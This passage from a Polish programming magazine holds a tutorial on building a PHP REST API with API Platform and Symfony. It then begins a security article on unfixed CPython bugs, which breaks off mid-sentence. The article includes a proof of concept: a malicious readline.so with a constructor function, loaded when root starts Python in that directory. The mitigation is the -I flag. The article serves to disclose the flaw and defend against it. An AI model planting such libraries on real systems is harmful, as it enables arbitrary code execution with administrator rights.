sób na rosnące wymagania techniczne i nowe standardy projektowania nie tylko ułatwiają, ale wręcz stawiają na pierwszym planie.
aplikacji, pozwalając naszym kadrom być z nimi na bieżąco – mówi
Artur Perwenis, Associate Vice President w GlobalLogic.
Utarte powiedzenie „kto się nie rozwija, ten się cofa” jest w branży
IT traktowane bardzo poważnie. Nikt nie chce zostać rzemieślnikiem

{ MATERIAŁ INFORMACYJNY } <31>


PROGRAMOWANIE APLIKACJI WEBOWYCH

API Platform – szybkie tworzenie przystępnego


REST API w PHP
Jeżeli stoisz przed zadaniem polegającym na stworzeniu webowego interfejsu programistycz-
nego i posiadasz podstawowe doświadczenie w języku PHP, to doskonale trafiłeś/aś. API Plat-
form to jedno z najlepszych i najprostszych narzędzi do przygotowania nowoczesnego, ustanda-
ryzowanego oraz udokumentowanego API. Co więcej, jest to rozwiązanie darmowe z otwartym
kodem źródłowym i możliwością dowolnego wykorzystania w komercyjnych projektach.

WSTĘP
API w kontekście tworzenia systemów i aplikacji ma dość szerokie
znaczenie – jest to zestaw reguł i opisów wyznaczających sposób Hydra+JSON-LD
komunikacji pomiędzy poszczególnymi komponentami, czy nawet JSON-LD to format serializacji danych używany w komunikacji między serwerem a jego
klientami.
osobnymi aplikacjami. W tym artykule skupimy się na aplikacjach Hydra Core Vocabulary to zdefiniowane słownictwo, które nadaje znaczenie dla po-
stosujących w komunikacji protokół HTTP, który najbardziej znany szczególnych zapytań. Dzięki wykorzystaniu Hydra+JSON-LD możemy tworzyć gene-
ryczne klasy do obsługi naszych API. Więcej o tym standardzie można przeczytać pod
jest z wykorzystania w aplikacjach internetowych. Na przestrzeni lat adresem https://www.hydra-cg.com/.
rozwijały się różne koncepcje mające na celu ustandaryzować wy-
mianę informacji za pomocą tego protokołu, czego dorobkiem jest » CRUD (Creating, Retriving, Updating and Deleting) – umożli-
m.in. HATEOAS (będący ograniczeniem architektury) czy REST wiające tworzenie, pobieranie, aktualizację i usuwanie danych
(narzucający koncepcję budowania dynamicznych odpowiedzi za w naszych zasobach.
pomocą hipermediów). Jednakże samo stworzenie interfejsu nasłu- » Walidację danych.
chującego najczęściej nie wystarczy – aby inni programiści mogli » Paginację.
wykorzystać nasze dzieło, powinniśmy je także odpowiednio udoku- » Filtrowanie.
mentować, w czym pomóc może specyfikacja OpenAPI. To wszyst- » Sortowanie.
ko jest dostarczane i częściowo generowane przez API Platform. » Dokumentację OpenAPI/Swagger UI.
W dalszej części tekstu poznamy poszczególne składowe nowocze-
snego WebAPI, a także stworzymy działającą aplikację umożliwiającą Ponadto platforma oferuje nam dodatkowe benefity w postaci m.in.
proste zarządzanie zasobami. wsparcia dla negocjacji zwracanego formatu, możliwości tworzenia
API całkowicie nie-RESTowego opartego o język zapytań GraphQL,

DLACZEGO WARTO POSIADAĆ podstawowego panelu administracyjnego, wypracowanych standar-


dów bezpieczeństwa, obsługi JWT, OAuth itd.
USTANDARYZOWANE API?
Poza oczywistymi konsekwencjami standaryzacji w postaci upo-
SYNERGIA POMIĘDZY API PLATFORM
rządkowania interfejsów aplikacji dochodzą jeszcze dodatkowe plusy
A SYMFONY
w postaci przyspieszenia tworzenia finalnego produktu oraz wygod-
niejszego skalowania systemu. W dobie wykorzystania mikroser- API Platform możemy zainstalować na kilka sposobów – jednym
wisów i rozwiązań chmurowych sytuacja, w której kilka, czy nawet z nich jest pobranie pełnego pakietu dystrybucji aplikacji. Inną me-
kilkanaście zespołów programistycznych musi wypracowywać nowe todą jest doinstalowanie API Platform do istniejącego wcześniej
protokoły per każdą tworzoną usługę, wydaje się być kłopotliwa. projektu Symfony. Niezależnie od obranej drogi w obu przypadkach
Przyjmując więc określony z góry standard komunikacji w obrębie nasz projekt zawierać będzie framework Symfony, co oznacza, że
wielu usług, przyspieszamy programistom pracę nad projektem, po- możemy korzystać ze wszystkich jego dobrodziejstw. Co ważniejsze
nieważ zamiast skupić się na integracji mogą skoncentrować się na – API Platform jest kompatybilne z większością pakietów Symfony
spełnianiu wymagań biznesowych. Jednym ze standardów dostar- (patrz ramka „Symfony Flex”).
czanych nam domyślnie przez API Platform jest Hydra (z formatem
JSON-LD) – patrz ramka „Hydra+JSON-LD”.
ZAŁOŻENIA
CO DOSTARCZA NAM API PLATFORM? Będziemy chcieli stworzyć aplikację umożliwiającą nam zarządzanie
przedmiotami, które posiadamy w domu. Przedmioty te mogą mieć
Narzędzie tworzy wszystko, co jest potrzebne do wystawienia podsta- określoną datę (wygaśnięcia) gwarancji, a także należeć do różnych
wowego API do obsługi naszych zasobów. Otrzymujemy więc m.in. kategorii, którymi także chcielibyśmy elastycznie zarządzać.

<32> { 4 / 2021 < 98 > }


PROGRAMOWANIE APLIKACJI WEBOWYCH

Czego efektem będzie doinstalowanie paczek API Platform do


Symfony Flex naszej bazowej aplikacji homestuff. Upewniamy się, że mamy uru-
Symfony Flex to narzędzie, które pomaga programistom tworzyć aplikacje Symfony, chomiony serwer i przechodzimy pod adres http://127.0.0.1:8000/api
od najprostszych projektów w stylu mikro do bardziej złożonych z dziesiątkami za-
leżności.
– naszym oczom powinna ukazać się pusta dokumentacja Swaggera:
Symfony Flex opiera się na Symfony Recipes, które są zbiorem automatycznych in-
strukcji integrujących pakiety innych firm i osób z aplikacjami Symfony.
Na stronie https://flex.symfony.com/ znaleźć możemy pakiety do wykorzystania
w naszej aplikacji, które w większości przypadków współpracować będą także z API
Platform.

WYMAGANIA
Zanim przystąpimy do dalszej części artykułu, należy się upewnić, czy
mamy zainstalowane następujące narzędzia:
» PHP (w wersji 7.4+) z modułami Ctype, iconv, JSON, PCRE,
Rysunek 1. Pusta dokumentacja Swaggera
Session, SimpleXML, Tokenizer.
» Serwer MySQL (ze stworzoną bazą danych o nazwie „homestuff ”).
» Composer (https://getcomposer.org/). Ostatnim krokiem, który powinniśmy wykonać po instalacji, jest
» Symfony CLI (https://symfony.com/download). konfiguracja połączenia z bazą danych. Założyliśmy, że wykorzy-
stujemy serwer MySQL. Tworzymy więc bazę danych o nazwie „ho-

DO DZIEŁA – INSTALUJEMY API mestuff ”, a następnie otwieramy plik .env znajdujący się w głównym
folderze, odnajdujemy wpis DATABASE_URL i modyfikujemy na pod-
PLATFORM stawie konfiguracji naszego serwera MySQL. Poniższy przykład za-
Na początek zweryfikujmy, czy niczego nam nie brakuje. Symfony kłada, że posiadamy użytkownika root, hasło password oraz utwo-
ma wbudowany mechanizm do weryfikacji podstawowych zależno- rzoną bazę danych „homestuff ”, a MySQL w wersji 8.0 nasłuchuje
ści. Uruchamiamy więc poniższą komendę i upewniamy się, że otrzy- u nas lokalnie pod 127.0.0.1 na porcie 3306.
maliśmy komunikat o tym, że system jest gotowy do uruchamiania
DATABASE_URL="mysql://root:password@127.0.0.1:3306/
projektów Symfony: homestuff?serverVersion=8.0"

$ symfony check:requirements
UTWORZENIE PIERWSZEJ DEFINICJI
ZASOBU
Jeżeli jest inaczej, to weryfikujemy treść komunikatu i upewniamy
się, że zainstalowaliśmy wyżej wskazane narzędzia. W zależności od Definicja określa, jakie informacje będziemy przechowywać na temat
systemu operacyjnego sposób instalacji będzie się różnić. Szukając naszego assetu, a sam zasób jest konkretnym obiektem zawierającym
instrukcji, należy wziąć także pod uwagę naszą dystrybucję. informacje.
Następnie tworzymy nowy projekt z wykorzystaniem narzędzia Do utworzenia naszej pierwszej definicji zasobu wykorzystamy
Symfony CLI. Ja nazwałem go homestuff. Uruchamiamy komendę narzędzie maker wchodzące w skład arsenału Symfony. W projekcie
w miejscu, w którym będziemy chcieli utworzyć projekt: za pierwszym razem doinstalowujemy je za pomocą komendy:

$ symfony new homestuff $ composer require maker --dev

W nowo utworzonym folderze homestuff znajdują się pliki z puste- Dzięki temu do naszej dyspozycji będzie dostępna komenda:
go szkieletu Symfony. Przechodzimy w konsoli do folderu homestuff,
$ ./bin/console make:entity
a następnie uruchamiamy serwer za pomocą polecenia:

$ symfony server:start
uruchamiająca kreator, który przeprowadzi nas krok po kroku przez
utworzenie pierwszej definicji. Chcielibyśmy utworzyć encję Item,
Domyślnie Symfony uruchamia serwer developerski nasłuchujący która zawierać będzie pola: name, createdAt, warrantyTo.
pod adresem http://127.0.0.1:8000 – wchodzimy pod ten link, wyko-
Listing 1. Tworzenie encji Item
rzystując przeglądarkę, i sprawdzamy, czy naszym oczom ukazuje się
strona witająca frameworka. $ ./bin/console make:entity

Następnie przechodzimy do instalacji API Platform z wykorzy- Class name of the entity to create or update
(e.g. OrangeGnome):
staniem narzędzia composer. W folderze z nowo utworzonym pro- > Item
jektem wywołujemy komendę: Mark this class as an API Platform resource
(expose a CRUD API for it) (yes/no) [no]:
$ composer require api-platform > yes

<34> { 4 / 2021 < 98 > }


/ API Platform – szybkie tworzenie przystępnego REST API w PHP /

created: src/Entity/Item.php
created: src/Repository/ItemRepository.php UTWORZENIE I ZAINSTALOWANIE
Entity generated! Now let’s add some fields!
MIGRACJI
You can always add more fields later manually
or by re-running this command. Aby tabela, która będzie docelowo przechowywać informacje o na-
New property name (press <return> to stop adding szym zasobie, trafiła do bazy, należy wygenerować (na podstawie
fields): utworzonej przez skrypt encji) migrację, a następnie ją zainstalować.
> name
Zgodnie więc z zaleceniem kreatora uruchamiamy komendę, któ-
Field type (enter ? to see all types) [string]:
> string ra wygeneruje nam plik migracji:
Field length [255]:
$ ./bin/console make:migration
> 255

Can this field be null in the database (nullable)


(yes/no) [no]:
> no
Zauważmy, że został utworzony plik:

updated: src/Entity/Item.php migrations/


└── Version20210819025135.php
Add another property? Enter the property name
(or press <return> to stop adding fields):
> createdAt w którym podejrzeć możemy, jakie zapytanie zostanie wysłane do
Field type (enter ? to see all types) bazy danych po uruchomieniu migracji.
[datetime_immutable]:
> datetime_immutable Następnie uruchamiamy utworzoną migrację za pomocą
polecenia:
Can this field be null in the database (nullable)
(yes/no) [no]:
> no $ ./bin/console doctrine:migrations:migrate

updated: src/Entity/Item.php

Add another property? Enter the property name Za po­mocą klienta MySQL weryfikujemy, czy tabela poprawnie zain-
(or press <return> to stop adding fields):
> warrantyTo stalowała się w bazie.
Field type (enter ? to see all types) [string]: Listing 3. Weryfikacja tabel w MySQL po uruchomieniu migracji
> date

Can this field be null in the database (nullable) mysql> use homestuff;
(yes/no) [no]: Database changed
> yes mysql> show tables;
updated: src/Entity/Item.php +-----------------------------+
| Tables_in_homestuff |
Add another property? Enter the property name +-----------------------------+
(or press <return> to stop adding fields): | doctrine_migration_versions |
> | item |
+-----------------------------+
Success! 2 rows in set (0,00 sec)
Next: When you’re ready, create a migration with mysql> explain item;
php bin/console make:migration +-------------+--------------+
| Field | Type |
+-------------+--------------+
Zwróćmy uwagę na to, że w projekcie pojawiły się nowe pliki utwo- | id | int |
| name | varchar(255) |
rzone przez kreator: | created_at | datetime |
| warranty_to | date |
src/ +-------------+--------------+
├── Entity 4 rows in set (0,00 sec)
│ └── Item.php
└── Repository
└── ItemRepository.php Jak widać – tabela item została utworzona.

Otrzymaliśmy encję oraz repozytorium, które zostały stworzone na


SWAGGER UI
podstawie wskazanych przez nas parametrów. Jedyny element, który
charakteryzuje te pliki na potrzeby wykorzystania pod API, to spe- Zanim przejdziemy do dalszej części tworzenia aplikacji, zatrzymaj-
cjalna adnotacja @ApiResource() umieszczona nad klasą Item. my się na chwilę przy tym, co udało nam się dokonać dotąd za po-
mocą zaledwie kilku powyższych komend.
Listing 2. Weryfikacja adnotacji przy klasie Item
Mając uruchomiony serwer Symfony, udajmy się do adresu
(...) http://127.0.0.1:8000/api, pod którym wcześniej znajdowała się pusta
/** dokumentacja. Jeżeli do teraz zrobiliśmy wszystko zgodnie z instruk-
* @ApiResource()
* @ORM\\Entity(repositoryClass=ItemRepository cją i nie napotkaliśmy na żadne błędy po drodze, to naszym oczom
*/ powinien ukazać się widok przygotowanych kilku pierwszych CRUD­
class Item
(...) owych operacji na nowo utworzonej definicji zasobu Items:

{ WWW.PROGRAMISTAMAG.PL } <35>
PROGRAMOWANIE APLIKACJI WEBOWYCH

Rysunek 2. Wygenerowana dokumentacja Swagger dla zarządzania przedmiotami

Aby zweryfikować, czy API działa poprawnie, stwórzmy nowy za- A następnie skorzystajmy w SwaggerUI z operacji GET (podobnie
sób – wybierzmy operację POST, a następnie kliknijmy przycisk „Try jak wcześniej robiliśmy z POST), używając przycisku „Try it out”, a na-
it out”. stępnie wysyłamy zapytanie za pomocą „Execute”.
W polu Request body dokonajmy drobnych modyfikacji. Poniżej powinniśmy otrzymać odpowiedź w formacie JSON+LD,
w której widoczne będą znaczniki Hydra uspójniające nasze API.
Listing 4. Request body wysyłany na POST /api/items
Listing 7. Odpowiedź z serwera – kolekcja zasobów Item
{
"name": "Monitor LG123 50",
{
"createdAt": "2021-08-01T10:10:10.0Z",
"@context": "/api/contexts/Item",
"warrantyTo": "2022-01-01"
"@id": "/api/items",
}
"@type": "hydra:Collection",
"hydra:member": [
{
"@id": "/api/items/1",
A następnie kliknijmy przycisk „Execute”. "@type": "Item",
Poniżej powinniśmy uzyskać status 201 wraz z odpowiedzią infor- "id": 1,
"name": "Monitor LG123 50",
mującą nas o nowo utworzonym zasobie, a nawet jego identyfikatorze. "createdAt": "2021-08-01T10:10:10+02:00",
"warrantyTo": "2022-01-01T00:00:00+01:00"
Listing 5. Odpowiedź z serwera po utworzeniu zasobu }
],
{ "hydra:totalItems": 1
"@context": "/api/contexts/Item", }
"@id": "/api/items/1",
"@type": "Item",
"id": 1,
"name": "Monitor LG123 50", Posiadamy już więc w pełni funkcjonalne API, które pozwala na two-
"createdAt": "2021-08-01T10:10:10+02:00",
"warrantyTo": "2022-01-01T00:00:00+01:00"
rzenie i odczytywanie przedmiotów.
} Brakuje nam jeszcze jednej ważnej rzeczy – podstawowych infor-
macji na temat naszego API w Swagger UI. Udajmy się więc do pliku
Zauważmy, że w nowo otrzymanej odpowiedzi poza podstawowymi config/packages/api_platform.yaml w naszym projekcie i pod znacz-
informacjami znajduje się także kilka danych specjalnych poprzedzo- nik api_platform w formacie YAMLowym dodajmy następujące
nych znakiem @ – są to informacje pochodzące z formatu JSON-LD. wpisy: title, description oraz version. Całość będzie wyglądać
Zweryfikujmy za pomocą klienta MySQL, czy zasób trafił do bazy mniej więcej tak:
danych.
Listing 8. Plik api_platform.yaml z dodanymi podstawowymi informacjami
Listing 6. Sprawdzenie zawartości tabeli item
api_platform:
title: 'HomeStuff Manager'
mysql> select * from item;
description: 'API to manage my home stuff'
+----+------------------+---------------------+-------------+
version: '0.1.0'
| id | name | created_at | warranty_to |
mapping:
+----+------------------+---------------------+-------------+
paths: ['%kernel.project_dir%/src/Entity']
| 1 | Monitor LG123 50 | 2021-08-01 10:10:10 | 2022-01-01 |
patch_formats:
+----+------------------+---------------------+-------------+
json: ['application/merge-patch+json']
1 row in set (0,00 sec)
swagger:
versions: [3]

<36> { 4 / 2021 < 98 > }


/ API Platform – szybkie tworzenie przystępnego REST API w PHP /

Dzięki temu po odświeżeniu strony zobaczymy kosmetyczną mo- I finalnie je instalujemy:


dyfikację w naszym nagłówku (Rysunek 3).
$ ./bin/console doctrine:migrations:migrate

UTWORZENIE KOLEJNEJ DEFINICJI ZASOBU


ŁĄCZENIE ZASOBÓW ZA POMOCĄ
Wykorzystując nabyte uprzednio doświadczenie z definiowaniem za-
RELACJI
sobów, ponownie uruchamiamy kreator i tworzymy encję Category
zawierającą tylko pola name oraz createdAt. Utworzyliśmy jak dotąd dwa zasoby – Item oraz Category. Pomię-
dzy nimi nie ma jak dotąd żadnej więzi – w tym momencie są to byty
Listing 9. Tworzenie encji Category
egzystujące niezależnie od siebie. Musimy więc wykonać drobną mo-
$ ./bin/console make:entity dyfikację, która utworzy relację pomiędzy nimi.
Class name of the entity to create or update (e.g. OrangeGnome): Ponownie skorzystamy z kreatora definicji zasobów, wykorzystu-
> Category
jąc inną jego funkcjonalność – aktualizację definicji zasobu, który już
Mark this class as an API Platform resource
(expose a CRUD API for it) (yes/no) [no]:
istnieje. Nadpiszemy encję Item, dodając do niej powiązanie z encją
> yes Category.
created: src/Entity/Category.php
created: src/Repository/CategoryRepository.php
Listing 10. Nadpisywanie encji Item

Entity generated! Now let’s add some fields! $ ./bin/console make:entity


You can always add more fields later manually
or by re-running this command. Class name of the entity to create or update (e.g. GentlePizza):
> Item
New property name (press <return> to stop adding fields):
> name Your entity already exists! So let’s add some new fields!

Field type (enter ? to see all types) [string]: New property name (press <return> to stop adding fields):
> > categoryId

Field length [255]: Field type (enter ? to see all types) [integer]:
> > relation

Can this field be null in the database (nullable) (yes/no) [no]: What class should this entity be related to?:
> > Category

updated: src/Entity/Category.php Relation type? [ManyToOne, OneToMany, ManyToMany, OneToOne]:


> ManyToOne
Add another property? Enter the property name
(or press <return> to stop adding fields): Is the Item.categoryId property allowed to be null
> createdAt (nullable)? (yes/no) [yes]:
> yes
Field type (enter ? to see all types) [datetime_immutable]:
> Do you want to add a new property to Category so
that you can access/update Item objects from it -
Can this field be null in the database (nullable) (yes/no) [no]: e.g. $category->getItems()? (yes/no) [yes]:
> > yes

updated: src/Entity/Category.php A new property will also be added to the Category class so that
you can access the related Item objects from it.
Add another property? Enter the property name
(or press <return> to stop adding fields): New field name inside Category [items]:
> >

Success! updated: src/Entity/Item.php


updated: src/Entity/Category.php
Next: When you’re ready, create a migration
with php bin/console make:migration Add another property? Enter the property name
(or press <return> to stop adding fields):
>

Następnie generujemy pliki migracyjne: Success!

Next: When you’re ready, create a migration


$ ./bin/console doctrine:migrations:migrate with php bin/console make:migration

Rysunek 3. Nazwa, opis i wersjonowanie dokumentacji

{ WWW.PROGRAMISTAMAG.PL } <37>
PROGRAMOWANIE APLIKACJI WEBOWYCH

Następnie uruchamiamy ponownie migracje: W rezultacie powinniśmy otrzymać odpowiedź z serwera wska-
zującą na to, że kategoria została dowiązana do naszego produktu.
$ ./bin/console make:migration
$ ./bin/console doctrine:migrations:migrate Listing 14. Odpowiedź po aktualizacji encji Item

Teraz możemy zaobserwować dwie istotne zmiany w Swagger UI. {


"@context": "/api/contexts/Item",
Przy operacjach dotyczących Category pojawiło się nowe pole "@id": "/api/items/1",
items, a przy operacjach dotyczących Item pojawiło się nowe pole "@type": "Item",
"id": 1,
categoryId. "name": "Monitor LG123 50",
"createdAt": "2021-08-01T10:10:10+02:00",
"warrantyTo": "2022-01-01T00:00:00+01:00",
OPEROWANIE NA RELACJACH – IRI }
"categoryId": "/api/categories/5"

Jest jedna szczególna rzecz, którą mogliśmy jak dotąd dostrzec – re-
lacje przedstawiane są nie jako integer, tylko jako string. Wynika to Co potwierdza także listing kategorii, ponieważ po wyszukaniu ich
z tego, że relacje w ekosystemie API Platform wykorzystują standard za pomocą GET otrzymujemy informację o tym, że produkt o identy-
internetowy IRI, po którym następuje wiązanie. fikatorze 1 jest przypisany do kategorii o identyfikatorze 5.
Spróbujmy więc za pomocą Swagger UI utworzyć nową kategorię,
Listing 15. Pobranie kolekcji encji Category z GET /api/categories
wykorzystując operację POST przy /api/categories.
(...)
Listing 11. Request body wysyłany na POST /api/categories {
"@id": "/api/categories/5",
{ "@type": "Category",
"name": "Monitory", "id": 5,
"createdAt": "2021-08-15T10:00:00.000Z" "name": "Monitory",
} "createdAt": "2021-08-19T04:15:53+02:00",
"items": [
"/api/items/1"
]
Po wykonaniu tej operacji zwróćmy uwagę na dane, które otrzymali- }
śmy w zwrotce.
(...)
Listing 12. Odpowiedź po utworzeniu kategorii

PODSUMOWANIE
{
"@context": "/api/contexts/Category",
"@id": "/api/categories/5",
"@type": "Category", To, co zrealizowaliśmy, jest zaledwie wierzchołkiem góry lodowej
"id": 5,
"name": "Monitory", możliwości API Platform. Wkładając w to bardzo niewiele pracy, uda-
"createdAt": "2021-08-19T04:15:53+02:00",
"items": []
ło nam się uzyskać działające API, które dostarcza nam możliwość
} zarządzania dwoma typami zasobów, a także wiązania ich w relacje.
Jednocześnie została wygenerowana dokumentacja w standardzie
Ważny jest dla nas identyfikator @id – zawiera on IRI danego zasobu. OpenAPI, z której korzysta Swagger UI wbudowany w narzędzie.
Następnie zwiążmy ją z naszym istniejącym, utworzonym wcze- W następnym numerze omówimy kolejne tematy związane z bu-
śniej przedmiotem „Monitor LG123 50”, który ma identyfikator 1, dową aplikacji webowych za pomocą RESTowego API w języku PHP.
za pomocą operacji PATCH na ścieżce /api/items/{id} (uwzględniając Powiemy m.in. o zasadach paginacji, filtrowania, sortowania i wali-
konieczność przekazania identyfikatora zasobu w parametrze, a nie dacji za pomocą API Platform i jego rozszerzeń.
w request body – w tym przypadku 1). Wysyłamy więc za pomocą Osobom zainteresowanym wykorzystaniem narzędzia polecam
Swagger UI zapytanie z parametrem id: 1 oraz Request body: lekturę dokumentacji znajdującej się pod adresem https://api-platform.
com/docs. Prezentuje ona również inne sposoby instalacji API Plat-
Listing 13. Request body wysyłany na PATCH /api/items/{id}
form, w tym z wykorzystaniem kontenerów Dockerowych, co zdecy-
{ dowanie ułatwi start bardziej doświadczonym użytkownikom.
"categoryId": "/api/categories/5"
}

ADRIAN CHOJNICKI
adrian.chojnicki@global4net.com
Współwłaściciel Global4Net, architekt rozwiązań chmurowych. Specjalizuje się w tworzeniu aplikacji e-commerce z wyko-
rzystaniem PWA oraz platformy Magento. Propaguje wykorzystanie mikroserwisów jako skalowalne wsparcie dla systemów
monolitycznych.

<38> { 4 / 2021 < 98 > }


BEZPIECZEŃSTWO

Przegląd błędów w CPythonie


W tym artykule przyjrzymy się wybranym błędom bezpieczeństwa najpopularniejszej imple-
mentacji Pythona – CPython – które zostały zgłoszone na oficjalnym bugtrackerze: bugs.
python.org. Co istotne, mankamenty te nadal nie zostały naprawione, należy więc mieć je
na uwadze podczas pisania kodu oraz (jak się przekonamy) używania samego interpretera
– na przykład na serwerach. Warto też pamiętać o możliwości skorygowania tych błędów,
jeśli zależy nam na rozwoju języka Python.

BUGTRACKER pliki nadesłane przez użytkowników3. W takim przypadku, wysy-


łając wcześniej do serwera odpowiedni plik, można przejąć konto
Błędy dotyczące CPythona są śledzone i zgłaszane w bugtrackerze administratora.
Pythona i dotyczą różnych zagadnień: począwszy od usprawnień
w implementacji, kwestii wydajnościowych, nadmiernego używa- Demonstracja błędu
nia zasobów przez bibliotekę standardową, błędów kompilacji, nie- Problem ten możemy odtworzyć lokalnie, kompilując prostą
typowego zachowania języka czy wreszcie – bezpieczeństwa. Co do bibliotekę dynamicznie ładowaną – napisaną w języku C, odpo-
tego ostatniego, warto pamiętać, że bugtracker jest w pełni publiczny wiednio ją nazywając (readline.so4), a następnie uruchamiając in-
i w przypadku poważnych błędów1 należy je najpierw zgłosić do Py- terpreter. Kod naszej złośliwej biblioteki (fakereadline.c) możemy zo-
thon Security Response Team (PSRT) na adres security@python.org. baczyć w Listingu 1. W ramach przykładu, wypisuje ona jedynie ciąg
Co ciekawe, jak można zobaczyć na Rysunku 1, tygodniowo ra- "HACKED!" na ekran w momencie, gdy jest ładowana5 (choć mogłaby
portowane oraz zamykane są dziesiątki zgłoszeń, których łączna licz- wykonać dowolne polecenie z uprawnieniami uruchamiającego in-
ba przekroczy wkrótce 60 000 (Rysunek 2). terpreter). Jej kompilację i uruchomienie „ataku” możemy zobaczyć
W dalszej części artykułu przeanalizujemy kilka błędów, które w Listingu 2 (kolorem żółtym oznaczono komentarze dotyczące tego,
zgodnie z oznaczoną kategorią „Security” mogą stanowić pewne za- co robi dana linia).
grożenie dla naszych aplikacji, ponieważ wciąż nie są naprawione.
Listing 1. Kod złośliwej biblioteki fakereadline.c, która wypisuje na ekran
tekst „HACKED!“ w momencie jej załadowania
PRZEGLĄD WYBRANYCH BŁĘDÓW #include <stdio.h>
__attribute__((constructor)) static void init() {
puts("HACKED!");
Wykonanie kodu poprzez samo uruchomienie }
interpretera Listing 2. Kompilacja kodu z Listingu 1 i symulacja ataku: administrator
(użytkownik root) uruchamia interpreter skutkujący wykonaniem „złośliwego
Oryginalny kodu”, który wypisuje tekst zakreślony na czerwono
Readline module loading in interactive mode
tytuł:
// kompilacja biblioteki
Link / w wersji: https://bugs.python.org/issue12238 / Python 2.x/3.x $ gcc fakereadline.c -shared -o readline.so
Zgłoszono: 2011-06-02 // usuwamy uprawnienie do wykonywania pliku,
// aby zasymulować plik nadesłany przez użytkownika
// (który zwykle nie miałby uprawnienia do wykonywania)
$ chmod a-x readline.so
Błąd ten został zgłoszony ponad 10 lat temu, dotyczy zarówno Py-
// logujemy się jako użytkownik root
thona 2, jak i Pythona 3, i jest prawdopodobnie najpoważniejszym $ sudo su
z tych, które opisuję w tym artykule. Uruchamiając interpreter Py- [sudo] password for dc:

thona w trybie interaktywnym poleceniem python (bez podawania // wyświetlamy zawartość katalogu
# ls -la
żadnego skryptu), interpreter próbuje załadować bibliotekę readline2 total 28
z obecnego katalogu, czego konsekwencją jest wykonanie jej kodu. drwxrwxr-x 2 dc dc 4096 Aug 22 13:37 .

Takie zachowanie jest bardzo niebezpieczne, gdyż możliwa jest


sytuacja, w której administrator jakiejś aplikacji uruchamia na jej 3. Na przykład aby wykonać na nich jakąś prostą operację lub zdiagnozować problem jednego
z użytkowników. Oczywiście bezpośrednie logowanie się na serwer produkcyjny i wykonywanie na
serwerze interpreter Pythona w katalogu, do którego zapisywane są nim operacji przez developerów nie jest najbezpieczniejszą praktyką. Mimo to taki scenariusz nie
jest niemożliwy.
4. Co ciekawe, począwszy od Pythona 3.2 i przyjętego wówczas PEP 3149 [3], biblioteki dynamicznie
ładowane zawierające moduły Pythonowe mogą też specyfikować wersję interpretera oraz systemu
w swojej nazwie. Pozwala to zapobiegać problemom wynikającym z ładowania bibliotek, które nie
1. Strona https://www.python.org/dev/security/ dokumentuje przykłady, kiedy warto zwrócić się bez- są kompatybilne z różnymi wersjami interpretera. W naszym przypadku plik biblioteki mógłby się
pośrednio do PSRT. nazywać „readline.cpython-36m-x86_64-linux-gnu.so”.
2. Biblioteka readline [2] wykorzystywana jest do usprawnienia interaktywnej pracy poprzez doda- 5. W tym celu wykorzystaliśmy specjalny atrybut kompilatora GCC: constructor. Oznaczenie nim
nie takich funkcjonalności, jak uzupełnianie kodu przy wciśnięciu klawisza TAB czy możliwość przej- jakiejś funkcji powoduje wykonanie jej kodu przed funkcją main, lub w przypadku kompilowania
ścia do wcześniej wykonanych poleceń poprzez wciśnięcie ↑ na klawiaturze. biblioteki – w momencie jej ładowania [4].

<40> { 4 / 2021 < 98 > }


BEZPIECZEŃSTWO

Rysunek 1: Statystyki otwieranych (Opened) i zamykanych (Closed) zgłoszeń w danym tygodniu [1]

Rysunek 2. Roczne statystyki wszystkich (Total) oraz zamykanych (Opened) zgłoszeń [1]

drwxr-xr-x 124 dc dc 12288 Aug 22 13:37 .. rowane są wszystkie zmienne środowiskowe zaczynające się od ciągu
-rw-rw-r-- 1 dc dc 94 Aug 22 13:37 fakereadline.c
PYTHON (PYTHONPATH itd. [5]).
-rw-rw-r-- 1 dc dc 7896 Aug 22 13:37 readline.so
Uruchomienie interpretera z flagą -I możemy zobaczyć w Listin-
// uruchamiając Pythona 2, wykonywany jest złośliwy kod
# python2 gu 3. Jak widać, nasz „złośliwy kod” nie został wykonany.
Python 2.7.17 (default, Feb 27 2021, 15:10:58)
[GCC 7.5.0] on linux2 Listing 3. Uruchamianie interpretera z flagą -I w katalogu ze spreparowaną
Type "help", "copyright", "credits" or biblioteką readline.so
"license" for more information.
HACKED! // wyświetlamy zawartość katalogu
>>> # ls -la
// uruchamiając Pythona 3, wykonywany jest złośliwy kod total 28
# python3 drwxrwxr-x 2 dc dc 4096 Aug 22 13:37 .
Python 3.6.9 (default, Jan 26 2021, 15:33:00) drwxr-xr-x 124 dc dc 12288 Aug 22 13:37 ..
[GCC 8.4.0] on linux -rw-rw-r-- 1 dc dc 94 Aug 22 13:37 fakereadline.c
Type "help", "copyright", "credits" or -rw-rw-r-- 1 dc dc 7896 Aug 22 13:37 readline.so
"license" for more information. // uruchamiając Pythona 2 z flagą -I, biblioteka readline
HACKED! // nie jest ładowana
>>> # python2 -I
Python 2.7.17 (default, Feb 27 2021, 15:10:58)
[GCC 7.5.0] on linux2
Jak się zabezpieczyć? Type "help", "copyright", "credits" or "license" for more information.
>>>
Jak wynika z dyskusji toczącej się nad zgłoszonym błędem, którą
// uruchamiając Pythona 3 z flagą -I, biblioteka readline nie
w formie zrzutu ekranu zamieszczono na Rysunku 3, dotychczas nie // jest ładowana
zmieniono tego zachowania, gdyż może ono zepsuć istniejące apli- # python3 -I
Python 3.6.9 (default, Jan 26 2021, 15:33:00)
kacje. Zamiast tego wprowadzono możliwość uruchomienia inter- [GCC 8.4.0] on linux
pretera w trybie izolacji poprzez podanie flagi -I, co spowoduje, że Type "help", "copyright", "credits" or "license" for more information.
>>>
biblioteka readline nie będzie ładowana. Flaga ta sprawia też, że igno-

<42> { 4 / 2021 < 98 > }


/ Przegląd błędów w CPythonie /

Rysunek 3. Fragment dyskusji nt. błędu związanego z automatycznym ładowaniem biblioteki readline przez interpreter Pythona

Podsumowując, choć domyślne zachowanie nie jest zbyt bez- PyErr_Clear();


}
pieczne, przed potencjalnym wykonaniem kodu możemy zabezpie- else {
czyć się, korzystając z flagi -I. Można by sobie jednak zadać pytanie, Py_DECREF(mod);
}
czy da się to jakoś „zautomatyzować”. Odpowiedź brzmi: tak. Otóż }
możemy ustawić alias python="python -I" w danej powłoce,
dzięki czemu wykonanie polecenia python zawsze doda flagę -I.
Można żałować, że nie jest to dość powszechna praktyka, uwzględ- Gdyby drążyć dalej…
niona na przykład w domyślnej konfiguracji powłoki w serwerowych Czy biblioteka readline to jedyny przypadek, gdy interpreter ła-
dystrybucjach Linuxa, ale kto wie, może dzięki tego typu artykułom duje daną bibliotekę z obecnego katalogu? Choć zdaje się, że nikt nie
